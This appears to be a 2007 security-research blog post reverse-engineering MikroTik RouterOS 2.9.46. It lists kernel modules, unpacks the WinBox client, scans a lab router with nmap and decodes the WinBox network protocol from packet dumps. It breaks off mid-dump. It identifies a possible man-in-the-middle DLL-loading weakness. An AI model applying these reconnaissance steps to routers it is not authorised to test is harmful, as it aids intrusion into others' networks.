kernel_version: 2.4.31
author:         Jaroslav Kysela <perex@suse.cz>
description:    Generic ISA Plug & Play support
parm_isapnp_disable:i
parm_desc_isapnp_disable:ISA Plug & Play disable
parm_isapnp_rdp:i
parm_desc_isapnp_rdp:ISA Plug & Play read data port
parm_isapnp_reset:i
parm_desc_isapnp_reset:ISA Plug & Play reset all cards
parm_isapnp_allow_dma0:i
parm_desc_isapnp_allow_dma0:Allow dma value 0 during auto activation
parm_isapnp_skip_pci_scan:i
parm_desc_isapnp_skip_pci_scan:ISA Plug & Play skip PCI resource scanning
parm_isapnp_verbose:i
parm_desc_isapnp_verbose:ISA Plug & Play verbose mode
parm_isapnp_reserve_irq:1-16i
parm_desc_isapnp_reserve_irq:ISA Plug & Play - reserve IRQ line(s)
parm_isapnp_reserve_dma:1-8i
parm_desc_isapnp_reserve_dma:ISA Plug & Play - reserve DMA channel(s)
parm_isapnp_reserve_io:1-16i
parm_desc_isapnp_reserve_io:ISA Plug & Play - reserve I/O region(s) - port,size
parm_isapnp_reserve_mem:1-16i
parm_desc_isapnp_reserve_mem:ISA Plug & Play - reserve memory region(s) - address,size
license:        GPL
kernel_version: 2.4.31

filename:       ./drivers/usb/acm.o
kernel_version: 2.4.31
author:         Armin Fuerst, Pavel Machek, Johannes Erdfelt, Vojtech Pavlik
description:    USB Abstract Control Model driver for USB modems and ISDN adapters
license:        GPL

filename:       ./drivers/usb/usbcore.o
kernel_version: 2.4.31
license:        GPL
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./drivers/usb/host/usb-uhci.o
kernel_version: 2.4.31
author:         Georg Acher, Deti Fliegl, Thomas Sailer, Roman Weissgaerber
description:    USB Universal Host Controller Interface driver
license:        GPL

filename:       ./drivers/usb/host/usb-ohci.o
kernel_version: 2.4.31
author:         Roman Weissgaerber <weissg@vienna.at>, David Brownell
description:    USB OHCI Host Controller Driver
license:        GPL

filename:       ./drivers/usb/hid.o
kernel_version: 2.4.31
author:         Andreas Gal, Vojtech Pavlik <vojtech@suse.cz>
description:    USB HID support drivers
license:        GPL
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./drivers/usb/rtl8150.o
kernel_version: 2.4.31
author:         Petko Manolov <petkan@users.sourceforge.net>
description:    rtl8150 based usb-ethernet driver
license:        GPL

filename:       ./drivers/usb/pegasus.o
kernel_version: 2.4.31
author:         Petko Manolov <petkan@users.sourceforge.net>
description:    Pegasus/Pegasus II USB Ethernet driver
license:        GPL
parm_loopback:  i
parm_mii_mode:  i
parm_desc_loopback:Enable MAC loopback mode (bit 0)
parm_desc_mii_mode:Enable HomePNA mode (bit 0),default=MII mode = 0

filename:       ./drivers/usb/serial/usbserial.o
kernel_version: 2.4.31
author:         Greg Kroah-Hartman, greg@kroah.com, http://www.kroah.com/linux-usb/
description:    USB Serial Driver core
license:        GPL
parm_debug:     i
parm_desc_debug:Debug enabled or not
parm_vendor:    h
parm_desc_vendor:User specified USB idVendor
parm_product:   h
parm_desc_product:User specified USB idProduct

filename:       ./drivers/usb/serial/mtusbserial.o
kernel_version: 2.4.31

filename:       ./drivers/pcmcia/yenta_socket.o
kernel_version: 2.4.31
kernel_version: 2.4.31
parm_override_bios:i
parm_desc_override_bios:yenta ignore bios resource allocation
license:        GPL

filename:       ./drivers/pcmcia/ds.o
kernel_version: 2.4.31
author:         David Hinds <dahinds@users.sourceforge.net>
description:    PCMCIA Driver Services 3.1.22
license:        Dual MPL/GPL

filename:       ./drivers/pcmcia/pcmcia_core.o
kernel_version: 2.4.31
parm_cis_width: i
kernel_version: 2.4.31
parm_probe_mem: i
parm_probe_io:  i
parm_mem_limit: i
kernel_version: 2.4.31
kernel_version: 2.4.31
author:         David Hinds <dahinds@users.sourceforge.net>
description:    Linux Kernel Card Services 3.1.22
  options: [pci] [cardbus]
license:        Dual MPL/GPL
parm_setup_delay:i
parm_resume_delay:i
parm_shutdown_delay:i
parm_vcc_settle:i
parm_reset_time:i
parm_unreset_delay:i
parm_unreset_check:i
parm_unreset_limit:i
parm_cis_speed: i
parm_io_speed:  i
parm_do_apm:    i
kernel_version: 2.4.31

filename:       ./drivers/pcmcia/i82365.o
kernel_version: 2.4.31
parm_i365_base: i
parm_ignore:    i
parm_extra_sockets:i
parm_irq_mask:  i
parm_irq_list:  1-16i
parm_cs_irq:    i
parm_async_clock:i
parm_cable_mode:i
parm_wakeup:    i
parm_do_scan:   i
parm_poll_interval:i
parm_cycle_time:i
parm_has_dma:   i
parm_has_led:   i
parm_has_ring:  i
parm_dynamic_mode:i
parm_freq_bypass:i
parm_setup_time:i
parm_cmd_time:  i
parm_recov_time:i
license:        Dual MPL/GPL

filename:       ./lib/crc32.o
kernel_version: 2.4.31
author:         Matt Domsch <Matt_Domsch@dell.com>
description:    Ethernet CRC32 calculations
license:        GPL

filename:       ./net/8021q/8021q.o
kernel_version: 2.4.31
license:        GPL
kernel_version: 2.4.31

filename:       ./net/bridge/bridge.o
kernel_version: 2.4.31
license:        GPL
kernel_version: 2.4.31

filename:       ./net/bridge/netfilter/ebtables.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebtable_broute.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebtable_filter.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebtable_nat.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_802_3.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_arp.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_arpreply.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_dnat.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_ip.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_limit.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_mark.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_mark_m.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_pkttype.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_redirect.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_snat.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_stp.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/bridge/netfilter/ebt_vlan.o
kernel_version: 2.4.31
parm_debug:     0-1b
parm_desc_debug:debug=1 is turn on debug messages
author:         Nick Fedchik <nick@fedchik.org.ua>
description:    802.1Q match module (ebtables extension), v0.6
license:        GPL

filename:       ./net/bridge/ebt_ulog.o
kernel_version: 2.4.31

filename:       ./net/bridge/ebt_snif.o
kernel_version: 2.4.31

filename:       ./net/unix/unix.o
kernel_version: 2.4.31
license:        GPL
kernel_version: 2.4.31

filename:       ./net/packet/af_packet.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/sched/sch_htb.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/sched/sch_red.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/sched/sch_sfq.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/sched/cls_fw.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/sched/cls_linear.o
kernel_version: 2.4.31

filename:       ./net/sched/sch_agr.o
kernel_version: 2.4.31

filename:       ./net/sched/proto_agr.o
kernel_version: 2.4.31

filename:       ./net/sched/sch_pcq.o
kernel_version: 2.4.31

filename:       ./net/sched/sch_rate.o
kernel_version: 2.4.31

filename:       ./net/ipv4/ipip.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ip_tables.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/iptable_filter.o
kernel_version: 2.4.31
parm_forward:   i
license:        GPL

filename:       ./net/ipv4/netfilter/iptable_nat.o
kernel_version: 2.4.31
license:        GPL
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/iptable_mangle.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/iptable_raw.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/nfnetlink.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ip_nat_ftp.o
kernel_version: 2.4.31
parm_ports:     1-8i
license:        GPL

filename:       ./net/ipv4/netfilter/ip_nat_irc.o
kernel_version: 2.4.31
author:         Harald Welte <laforge@gnumonks.org>
description:    IRC (DCC) network address translation module
license:        GPL
parm_ports:     1-8i
parm_desc_ports:port numbers of IRC servers

filename:       ./net/ipv4/netfilter/ip_nat_h323.o
kernel_version: 2.4.31
author:         Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
description:    H.323 'brute force' connection tracking module
license:        GPL

filename:       ./net/ipv4/netfilter/ip_nat_proto_gre.o
kernel_version: 2.4.31
license:        GPL
author:         Harald Welte <laforge@gnumonks.org>
description:    Netfilter NAT protocol helper module for GRE

filename:       ./net/ipv4/netfilter/ip_nat_pptp.o
kernel_version: 2.4.31
license:        GPL
author:         Harald Welte <laforge@gnumonks.org>
description:    Netfilter NAT helper module for PPTP

filename:       ./net/ipv4/netfilter/ip_nat_quake3.o
kernel_version: 2.4.31
author:         Filip Sneppe <filip.sneppe@cronos.be>
description:    Netfilter NAT helper for Quake III Arena
license:        GPL
parm_ports:     1-8i
parm_desc_ports:port numbers of Quake III master servers

filename:       ./net/ipv4/netfilter/ip_nat_tftp.o
kernel_version: 2.4.31
author:         Magnus Boden <mb@ozaba.mine.nu>
description:    Netfilter NAT helper for tftp
license:        GPL
parm_ports:     1-8i
parm_desc_ports:port numbers of tftp servers

filename:       ./net/ipv4/netfilter/ip_conntrack.o
kernel_version: 2.4.31
license:        GPL
kernel_version: 2.4.31
parm_hashsize:  i
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/ip_conntrack_ftp.o
kernel_version: 2.4.31
parm_ports:     1-8i
parm_loose:     i
license:        GPL

filename:       ./net/ipv4/netfilter/ip_conntrack_irc.o
kernel_version: 2.4.31
author:         Harald Welte <laforge@gnumonks.org>
description:    IRC (DCC) connection tracking module
license:        GPL
parm_ports:     1-8i
parm_desc_ports:port numbers of IRC servers
parm_max_dcc_channels:i
parm_desc_max_dcc_channels:max number of expected DCC channels per IRC session
parm_dcc_timeout:i
parm_desc_dcc_timeout:timeout on for unestablished DCC channels

filename:       ./net/ipv4/netfilter/ip_conntrack_h323.o
kernel_version: 2.4.31
author:         Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
description:    H.323 'brute force' connection tracking module
license:        GPL

filename:       ./net/ipv4/netfilter/ip_conntrack_proto_gre.o
kernel_version: 2.4.31
license:        GPL
author:         Harald Welte <laforge@gnumonks.org>
description:    netfilter connection tracking protocol helper for GRE

filename:       ./net/ipv4/netfilter/ip_conntrack_pptp.o
kernel_version: 2.4.31
license:        GPL
author:         Harald Welte <laforge@gnumonks.org>
description:    Netfilter connection tracking helper module for PPTP

filename:       ./net/ipv4/netfilter/ip_conntrack_quake3.o
kernel_version: 2.4.31
author:         Filip Sneppe <filip.sneppe@cronos.be>
description:    Netfilter connection tracking module for Quake III Arena
license:        GPL
parm_ports:     1-8i
parm_desc_ports:port numbers of Quake III master servers

filename:       ./net/ipv4/netfilter/ip_conntrack_tftp.o
kernel_version: 2.4.31
author:         Magnus Boden <mb@ozaba.mine.nu>
description:    Netfilter connection tracking module for tftp
license:        GPL
parm_ports:     1-8i
parm_desc_ports:port numbers of tftp servers

filename:       ./net/ipv4/netfilter/nfnetlink_conntrack.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_MASQUERADE.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_REJECT.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_TCPMSS.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_REDIRECT.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_MARK.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_FTOS.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_NOTRACK.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_CONNMARK.o
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/ipt_IPV4OPTSSTRIP.o
kernel_version: 2.4.31
author:         Fabrice MARIE <fabrice@netfilter.org>
description:    Strip all options in IPv4 packets
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_TARPIT.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_SAME.o
kernel_version: 2.4.31
license:        GPL
author:         Martin Josefsson <gandalf@wlug.westbo.se>
description:    iptables special SNAT module for consistent sourceip

filename:       ./net/ipv4/netfilter/ipt_NETMAP.o
kernel_version: 2.4.31
license:        GPL
author:         Svenning Soerensen <svenning@post5.tele.dk>
description:    iptables 1:1 NAT mapping of IP networks target

filename:       ./net/ipv4/netfilter/ipt_TTL.o
kernel_version: 2.4.31
author:         Harald Welte <laforge@gnumonks.org>
description:    IP tables TTL modification module
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_limit.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_mac.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_mark.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_tos.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_connlimit.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_state.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_connmark.o
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/ipt_string.o
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/ipt_iprange.o
kernel_version: 2.4.31
license:        GPL
author:         Jozsef Kadlecsik <kadlec@blackhole.kfki.hu>
description:    iptables arbitrary IP range match module

filename:       ./net/ipv4/netfilter/ipt_dstlimit.o
kernel_version: 2.4.31
license:        GPL
author:         Harald Welte <laforge@netfilter.org>
description:    iptables match for limiting per destination

filename:       ./net/ipv4/netfilter/ipt_time.o
kernel_version: 2.4.31
author:         Fabrice MARIE <fabrice@netfilter.org>
description:    Match arrival timestamp
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_random.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_psd.o
kernel_version: 2.4.31
license:        GPL
author:         Dennis Koslowski <koslowski@astaro.com>

filename:       ./net/ipv4/netfilter/ipt_nth.o
kernel_version: 2.4.31
license:        GPL
author:         Fabrice Marie <fabrice@netfilter.org>

filename:       ./net/ipv4/netfilter/ipt_ipv4options.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_addrtype.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_tcpmss.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_helper.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_connbytes.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_length.o
kernel_version: 2.4.31
author:         James Morris <jmorris@intercode.com.au>
description:    IP tables packet length matching module
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_physdev.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_ulog.o
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/ipt_snif.o
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/ipt_PASSTHR.o
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/ipt_p2p.o
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/addrlist.o
kernel_version: 2.4.31

filename:       ./net/ipv4/netfilter/ipt_prmark.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_PRMARK.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/netfilter/ipt_hsmark.o
kernel_version: 2.4.31
license:        GPL

filename:       ./net/ipv4/gre.o
kernel_version: 2.4.31

filename:       ./net/ipv4/eogre.o
kernel_version: 2.4.31

filename:       ./net/ath.o
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./net/a5212_pci.o
kernel_version: 2.4.31

filename:       ./net/a5212.o
kernel_version: 2.4.31

filename:       ./net/a5211.o
kernel_version: 2.4.31

filename:       ./net/a5211_pci.o
kernel_version: 2.4.31

filename:       ./net/prism.o
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./net/prism2_cs.o
kernel_version: 2.4.31
parm_irq_mask:  i

filename:       ./net/prism2_pci.o
kernel_version: 2.4.31

filename:       ./net/aironet.o
kernel_version: 2.4.31

filename:       ./net/anet-isa.o
kernel_version: 2.4.31
parm_io:        i

filename:       ./net/anet-pci.o
kernel_version: 2.4.31

filename:       ./net/a5210.o
kernel_version: 2.4.31

filename:       ./net/a5210_pci.o
kernel_version: 2.4.31

filename:       ./misc/logfw.o
kernel_version: 2.4.31

filename:       ./misc/trafflow.o
kernel_version: 2.4.31

filename:       ./misc/ulog.o
kernel_version: 2.4.31
license:        GPL
author:         Harald Welte <laforge@gnumonks.org>
description:    IP tables userspace logging module
parm_nlbufsiz:  i
parm_desc_nlbufsiz:netlink buffer size
parm_flushtimeout:i
parm_desc_flushtimeout:buffer flush timeout

filename:       ./misc/snif.o
kernel_version: 2.4.31

filename:       ./misc/logring.o
kernel_version: 2.4.31

filename:       ./misc/panics.o
kernel_version: 2.4.31
parm_device:    l
parm_slave:     l

filename:       ./misc/p2p.o
kernel_version: 2.4.31

filename:       ./misc/btest.o
kernel_version: 2.4.31

filename:       ./misc/wlan.o
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31
kernel_version: 2.4.31

filename:       ./pcmcia/arlan_cs.o
kernel_version: 2.4.31
parm_irq_mask:  i

Interestingly, Harald Welte runs / is involved with the gpl-violations.org project. (More so in the /misc/ directory, not other "standard" locations).

Googling for various filenames in there (such as trafflow), or strings from certain modules (such as BUFFAILURE: 0 len frag (idx %u) or w_node_unblock: SHIT, not blocked!!! from wlan.o, which I would expect from public source code) didn't return anything useful.. However, apparently, you can send them some money, and they'll send you some media with the gpl sources they have. I'm a bit unwilling to spend some money like that to verify if the modified sources are available.

If you want, you can download the kernel and associated modules here if you so wish. If you find anything interesting, it'd be appreciated if you let me know :)

Initial analysis of WinBox

Looking at the directory tree, we see some interesting files in the /mnt/mikro/home/web/winbox directory:

[box] $ ls -alFh
total 1.1M
drwxr-xr-x 2 root root 1.0K 2007-08-21 22:28 ./
drwxr-xr-x 7 root root 1.0K 2007-08-21 22:57 ../
-rw-r--r-- 1 root root   37 2007-08-10 19:59 00roteros.info
-rw-r--r-- 1 root root  32K 2007-08-10 20:05 advtool.dll
-rw-r--r-- 1 root root   36 2007-08-10 20:05 advtool.info
-rw-r--r-- 1 root root  40K 2007-08-10 20:09 dhcp.dll
-rw-r--r-- 1 root root   32 2007-08-10 20:09 dhcp.info
lrwxrwxrwx 1 root root   15 2007-08-21 22:28 index -> /ram/winbox.idx
-rw-r--r-- 1 root root 491K 2007-08-10 19:59 roteros.dll
-rw-r--r-- 1 root root 325K 2007-08-10 20:08 secure.dll
-rw-r--r-- 1 root root   36 2007-08-10 20:08 secure.info
-rw-r--r-- 1 root root 4.8K 2007-08-10 19:59 system.dll
-rw-r--r-- 1 root root   33 2007-08-10 19:59 system.info
-rwxr-xr-x 1 root root  35K 2007-08-10 19:59 winbox.exe*
-rw-r--r-- 1 root root  91K 2007-08-10 20:17 wlan2.dll
-rw-r--r-- 1 root root   34 2007-08-10 20:17 wlan2.info

Checking out the info files, we see:

[box] $ cat *info
1439693345 502314 roteros.dll 2.9.46
2665359431 32731 advtool.dll 2.9.46
845655727 40608 dhcp.dll 2.9.46
3039506695 332195 secure.dll 2.9.46
192902660 4849 system.dll 2.9.46
1703254547 93131 wlan2.dll 2.9.46

Which appear to be a checksum?, filesize, filename, and DLL version.

Looking at the other files, we find the following information:

[box] $ file * | grep -v \\.info
advtool.dll:    gzip compressed data, was "advtool.dll", from Unix, last
modified: Fri Aug 10 20:05:57 2007
dhcp.dll:       gzip compressed data, was "dhcp.dll", from Unix, last
modified: Fri Aug 10 20:09:35 2007
index:          broken symbolic link to `/ram/winbox.idx'
roteros.dll:    gzip compressed data, was "roteros.dll", from Unix, last
modified: Fri Aug 10 19:59:00 2007
secure.dll:     gzip compressed data, was "secure.dll", from Unix, last
modified: Fri Aug 10 20:08:43 2007
system.dll:     gzip compressed data, was "system.dll", from Unix, last
modified: Fri Aug 10 19:59:16 2007
winbox.exe:     MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit,
UPX compressed
wlan2.dll:      gzip compressed data, was "wlan2.dll", from Unix, last
modified: Fri Aug 10 20:17:05 2007

Interestingly, the dll's have been gzip'd, and the executable has been compressed with UPX, both probably in an attempt to save disk space.

Gunzipping the dll's is relatively straight forward as well:

[box] $ gunzip -f <secure.dll >s.dll
[box] $ file s.dll
s.dll: MS-DOS executable PE  for MS Windows (DLL) (console) Intel 80386 32-bit

The executable can be easily decompressed via the upx -d command, as follows:

[box] $ upx -d winbox.exe
                       Ultimate Packer for eXecutables
  Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007
UPX 3.01        Markus Oberhumer, Laszlo Molnar & John Reiser   Jul 31st 2007

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     94720 <-     35328   37.30%    win32/pe     winbox.exe

Unpacked 1 file.

Doing another quick cursory analysis of the WinBox executable provides some interesting reading:

Note
.crc
%u %u %31s %15s
loading %s
pluging %s is damaged
file truncated %d, expected=%d
DLL %s ver=%s size=%u
DLLLoader::fetch
index
.\%s
linking %s
lib %s loaded
runEx
lib %s not loaded error=%ld

...

Could not connect to %s (port %u) - %s!
index
GET /winbox HTTP/1.0
GET /winbox/%s HTTP/1.0
getting %s
bad request

...

fetching %s
could not request plugin %s!
could not get %s: %s!
rfile

...

inflate 1.1.3 Copyright 1995-1998 Mark Adler
-LIBGCCW32-EH-2-MINGW32

This makes me think they download and load the DLL files off the webserver at run time - which would make it vulnerable to a man in the middle attack to load custom dll's on a victims machine..

Interesting broadcast network traffic

22:22:47.633158 IP 192.168.254.2.rrac > 255.255.255.255.rrac: UDP, length 68
        0x0000:  4500 0060 0000 4000 4011 7be2 c0a8 fe02
        0x0010:  ffff ffff 162e 162e 004c ba4d 0400 0000
        0x0020:  0001 0006 5254 0012 3456 0005 0008 4d69
        0x0030:  6b72 6f54 696b 0007 0006 322e 392e 3436
        0x0040:  0008 0008 4d69 6b72 6f54 696b 000a 0004
        0x0050:  f800 0000 000b 0008 5a53 5a4e 2d32 3254
..
22:25:47.676826 CDPv1, ttl: 120s, Device-ID 'MikroTik', length 63
        0x0000:  aaaa 0300 000c 2000 0178 93d9 0001 000c
        0x0010:  4d69 6b72 6f54 696b 0002 0011 0000 0001
        0x0020:  0101 cc00 04c0 a8fe 0200 0400 0800 0000
        0x0030:  0100 0500 0a32 2e39 2e34 3600 0600 0c4d
        0x0040:  696b 726f 5469 6b

The first network packet looks interesting, it seems to be a tag / length / data style network protocol, as at various offsets.

For example on the first packet:

The second packet looks like a standard cisco discovery protocol (CDP) packet.

Both packets are good news however; they provide us with network daemons to audit for security issues. Performing a strings -f * | grep discovery on /mnt/mikro/nova/bin leads us to the discover binary, which we'll look at later on for security issues.

[box] $ strings -f * | grep -i discovery
dhcp:   BUG: TESTING state without storedDiscovery!
discover: discovery setting
discover: DISCOVERY: sendto failed
discover: DISCOVERY: send raw failed:
discover: failed discovery socket on:
discover: cannot enable raw discovery: no mac address
discover: failed raw discovery socket on:

Running strings on the discover shows that it is probably responsible for processing the CDP packets as well.

Network ports open by default

Moving onto more active network attacks, we'll use nmap to identify the service running services on the machine.

[box] $ nmap -sS -A 192.168.254.2 -TInsane -oA /tmp/nmap -p 1-65535

Starting Nmap 4.20 ( http://insecure.org ) at 2007-08-25 08:17 EST
Interesting ports on 192.168.254.2:
Not shown: 65528 closed ports
PORT     STATE SERVICE         VERSION
21/tcp   open  ftp             MikroTik router ftpd 2.9.46
22/tcp   open  ssh             OpenSSH 2.3.0 mikrotik 2.9 (protocol 1.99)
23/tcp   open  telnet          Linux telnetd
80/tcp   open  http            MikroTik router http config
2000/tcp open  callbook?
3986/tcp open  mapper-ws_ethd?
8291/tcp open  unknown
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port2000-TCP:V=4.20%I=7%D=8/25%Time=46CF592D%P=i686-redhat-linux-gnu%r(
SF:NULL,4,"\x01\0\0\0")%r(GenericLines,4,"\x01\0\0\0")%r(GetRequest,18,"\x
SF:01\0\0\0\x02\0\0\0\xd3\xbew\xc0\x1f\x99\xedA\xfd\xa0\x0e\xc6>\x9a\xb3x"
SF:)%r(HTTPOptions,18,"\x01\0\0\0\x02\0\0\0\xa9\x9a\x8f\xba\xfc\xb6\xeaW\x
SF:7f\xbac!b\xfc\x98{")%r(RTSPRequest,18,"\x01\0\0\0\x02\0\0\0xM\xe7`\xe6\
SF:rNb\x82\xaer\xf3}\xcc6\xe1")%r(RPCCheck,18,"\x01\0\0\0\x02\0\0\0\x96#\x
SF:0b\xcd\xbej\xb2\xd9\xd7\xbf\x97\xda\xd4C\x8b=")%r(DNSStatusRequest,4,"\
SF:x01\0\0\0")%r(Help,4,"\x01\0\0\0")%r(X11Probe,4,"\x01\0\0\0")%r(FourOhF
SF:ourRequest,18,"\x01\0\0\0\x02\0\0\0<\xc3\xbde#\xf8\xe8\xd8l\xdf:Q\xdau%
SF:\x97")%r(LPDString,4,"\x01\0\0\0")%r(LDAPBindReq,4,"\x01\0\0\0")%r(LAND
SF:esk-RC,4,"\x01\0\0\0")%r(TerminalServer,4,"\x01\0\0\0")%r(NotesRPC,18,"
SF:\x01\0\0\0\x02\0\0\0fu\x9d\x8f\+2\x80}y\xe5\x99\xfa\xf8\xea_\x85")%r(Ne
SF:ssusTPv10,4,"\x01\0\0\0");
MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)
Device type: general purpose|WAP|storage-misc
Running: Linux 2.4.X, Linksys Linux 2.4.X, Asus Linux 2.4.X, Maxtor Linux
2.4.X
OS details: Linux 2.4.18-10 (Red Hat 7.3), Linux 2.4.20 - 2.4.32, Linux-based
embedded device (Linksys WRT54GL WAP, Buffalo AirStation WLA-G54 WAP, Maxtor
Shared Storage Drive, or Asus Wireless Storage Router)
Uptime: 0.004 days (since Sat Aug 25 08:14:28 2007)
Network Distance: 1 hop
Service Info: Host: MikroTik; OS: Linux; Device: router

Even more services to be analysed. There is probably a bunch more udp services as well that can be analysed. The more software running on this the better it is for attackers, as they only need one security hole most likely to get a foot hold on a network.

Experimenting with WinBox

Overview

So far we've identified a potential issue regarding the WinBox software, where it vaguely looks like it will download dll's off the router, and load them into the process, possibly via HTTP.

We can use Wine to run the WinBox software in /mnt/mikro/home/web/winbox/ (as I mostly use linux, and didn't want to emulate Windows for this article) and run a network sniffer (most likely tcpdump to log, and WireShark for analysis) to identify what traffic is being sent across the network, and what we can do with it.

For the purposes of this article, 192.168.254.2 is the Mikrotek router, and 192.168.254.1 is the analysis environment.

The Winbox software was configured to connect to 192.168.254, with an (invalid) username and password pair of blah and blah.

When the Winbox software is told to connect to the remote host, as expected, it first asks the remote server (without any authentication) for a list of DLL's, and proceeds to download those files, and load them into the remote process.

Network protocol analysis

After the three way handshake, the client sends the below packet:

Client -> Server
Packet data starts at 0x42

0000  52 54 00 12 34 56 00 ff  fb 19 fe 96 08 00 45 00   RT..4V.. ......E.
0010  00 48 ca 02 40 00 40 06  f3 57 c0 a8 fe 01 c0 a8   .H..@.@. .W......
0020  fe 02 df 5e 20 63 d0 21  ad 27 f4 36 ac c8 80 18   ...^ c.! .'.6....
0030  00 2e 82 f3 00 00 01 01  08 0a 1d e3 67 2a 00 00   ........ ....g*..
0040  7b 4d 12 02 69 6e 64 65  78 00 00 00 00 00 00 00   {M..inde x.......
0050  ff ed 00 00 00 00

The first byte of the packet (offset of 0x42) appears to be the length of the packet (0x12 being 18 bytes, and where 0x55 - 0x43 equals 18). The second byte of the packet is 0x02, which probably indicates what type of packet it is. After that is appears to be an asciiz encoding of index. So far, the rest of the doesn't mean so much, but more will make sense as we attempt to decode it.

Looking at the response from the server (to the client):

Server -> Client
Packet data starts at 0x42

0000  00 ff fb 19 fe 96 52 54  00 12 34 56 08 00 45 00   ......RT ..4V..E.
0010  01 18 d7 86 40 00 40 06  e5 03 c0 a8 fe 02 c0 a8   ....@.@. ........
